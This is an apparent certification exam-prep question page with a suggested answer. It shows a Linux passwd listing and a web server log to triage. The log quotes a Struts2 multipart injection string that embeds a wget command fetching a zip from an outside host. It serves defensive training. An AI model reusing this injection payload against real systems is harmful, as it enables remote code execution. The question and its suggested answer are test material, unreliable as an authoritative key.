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Question 329 - CS0-003 discussion

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An incident response team member is triaging a Linux server. The output is shown below:

$ cat /etc/passwd

root:x:0:0::/:/bin/zsh

bin:x:1:1::/:/usr/bin/nologin

daemon:x:2:2::/:/usr/bin/nologin

mail:x:8:12::/var/spool/mail:/usr/bin/nologin

http:x:33:33::/srv/http:/bin/bash

nobody:x:65534:65534:Nobody:/:/usr/bin/nologin

git:x:972:972:git daemon user:/:/usr/bin/git-shell

$ cat /var/log/httpd

at org.apache.catalina.core.ApplicationFilterChain.internaDoFilter(ApplicationFilterChain.java:241)

at org.apache.catalina.core.ApplicationFilterChain.internaDoFilter(ApplicationFilterChain.java:208)

at org.java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:316)

at org.java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)

WARN [struts2.dispatcher.multipart.JakartaMultipartRequest] Unable to parse request container.getlnstance.(#wget http://grohl.ve.da/tmp/brkgtr.zip;#whoami)

at org.apache.commons.fileupload.FileUploadBase$FileUploadBase$FileItemIteratorImpl.<init>(FileUploadBase.java:947) at org.apache.commons.fileupload.FileUploadBase.getItemiterator(FileUploadBase.java:334)

at org.apache.struts2.dispatcher.multipart.JakartaMultipartRequest.parseRequest(JakartaMultiPartRequest.java:188) org.apache.struts2.dispatcher.multipart.JakartaMultipartRequest.parseRequest(JakartaMultipartRequest.java:423)

Which of the following is the adversary most likely trying to do?

A.
Create a backdoor root account named zsh.
Answers
A.
Create a backdoor root account named zsh.
B.
Execute commands through an unsecured service account.
Answers
B.
Execute commands through an unsecured service account.
C.
Send a beacon to a command-and-control server.
Answers
C.
Send a beacon to a command-and-control server.
D.
Perform a denial-of-service attack on the web server.
Answers
D.
Perform a denial-of-service attack on the web server.
Suggested answer: B

Explanation:

The log output indicates an attempt to execute a command via an unsecured service account, specifically using a wget command to download a file from an external source. This suggests that the adversary is trying to exploit a vulnerability in the web server to run unauthorized commands, which is a common technique for gaining a foothold or further compromising the system. The presence of wget http://grohl.ve.da/tmp/brkgtr.zip indicates an attempt to download and possibly execute a malicious payload.

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asked 02/10/2024
Kristian Gutierrez
47 questions
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